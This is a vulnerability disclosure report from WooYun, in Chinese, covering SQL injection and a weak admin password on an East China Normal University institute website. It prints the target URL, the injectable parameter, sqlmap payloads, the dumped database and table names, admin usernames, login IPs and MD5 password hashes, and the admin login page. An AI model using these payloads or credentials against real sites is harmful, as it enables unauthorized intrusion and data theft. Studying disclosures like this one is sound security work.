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缺陷编号：wooyun-2015-0160988

漏洞标题：华东师范大学某站SQL注入#后台弱口令

相关厂商：华东师范大学

漏洞作者： 路人甲

提交时间：2015-12-14 11:16

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-14： 细节已通知厂商并且等待厂商处理中
2015-12-15： 厂商已经确认，细节仅向厂商公开
2015-12-25： 细节向核心白帽子及相关领域专家公开
2016-01-04： 细节向普通白帽子公开
2016-01-14： 细节向实习白帽子公开
2016-01-28： 细节向公众公开

简要描述：

如题

详细说明：

0x01 漏洞描述

华东师范大学计算科学研究所SQL注入，并且后台弱口令，可登录红土爱


0x02 漏洞位置

http://itcs.ecnu.edu.cn/


0x03 漏洞详细

GET /e/DetailInfo.php?id=193&num=2 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://itcs.ecnu.edu.cn:80/
Cookie: PHPSESSID=sd4dgig5c9arsrc9lp5uoili50d9o0798e1knii25nnf45elhuh1; roundcube_sessid=gvr1dad3fi9572rk9igl3baur8cvh5je397qfoio00uuvt1mocl1
Host: itcs.ecnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

注入点信息抓取的http请求包如上
0x04 漏洞测试工具

sqlmap

漏洞证明：

0x05 漏洞结果
服务器以及注入点信息

sqlmap identified the following injection points with a total of 47 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=193 AND 4124=4124&num=2
    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: id=-3742 UNION ALL SELECT CONCAT(0x7173616671,0x744f435a717457786963,0x7166797971),NULL,NULL,NULL,NULL,NULL#&num=2
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=193 AND SLEEP(5)&num=2
---
[07:22:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE
web application technology: Apache 2.2.12, PHP 5.3.17
back-end DBMS: MySQL 5.0.11


数据库信息

web server operating system: Linux SuSE
web application technology: Apache 2.2.12, PHP 5.3.17
back-end DBMS: MySQL 5.0.11
[07:25:17] [INFO] testing if current user is DBA
[07:25:17] [INFO] fetching current user
[07:25:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False
[07:25:17] [INFO] fetching database names
[07:25:18] [INFO] the SQL query used returns 3 entries
[07:25:18] [INFO] retrieved: "information_schema"
[07:25:18] [INFO] retrieved: "echao"
[07:25:18] [INFO] retrieved: "test"
available databases [3]:                                                                                                                         
[*] echao
[*] information_schema
[*] test


数据表信息

Database: echao                                                                                                                                  
[30 tables]
+----------------+
| user           |
| admin          |
| columntype     |
| eadmin         |
| ecolumntype    |
| efooterinfo    |
| eimagelink     |
| einfo          |
| emember        |
| emenu          |
| emessage       |
| emessageanswer |
| eotherlink     |
| equestion      |
| erole          |
| eroletomenu    |
| eusertorole    |
| footerinfo     |
| imagelink      |
| info           |
| member         |
| menu           |
| message        |
| messageanswer  |
| otherlink      |
| question       |
| role           |
| roletomenu     |
| test           |
| usertorole     |
+----------------+


管理员表数据

Database: echao
Table: admin
[2 entries]
+----+--------+-----------------+----------------------------------+---------------+---------------------+------------+
| id | IsShow | LoginIP         | UserPwd                          | UserName      | LoginTime           | LoginCount |
+----+--------+-----------------+----------------------------------+---------------+---------------------+------------+
| 9  | 1      | 219.228.63.93   | 12e6d7a3698aa5679898da6a447a4afc | administrator | 2015-10-12 14:17:24 | 0          |
| 10 | 1      | 124.128.104.249 | 21232f297a57a5a743894a0e4a801fc3 | admin         | 2015-12-13 07:27:00 | 0          |
+----+--------+-----------------+----------------------------------+---------------+---------------------+------------+


解密发现原来是弱口令
寻找后台，经过搜索，找到网址

http://itcs.ecnu.edu.cn/e/admin/Login.html


登录后

[%7%7$FI]SWCVXPSWMGILUT.png


over！

修复方案：

加强网站整体防护

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-15 13:55

厂商回复：

通知二级单位处理。

最新状态：

暂无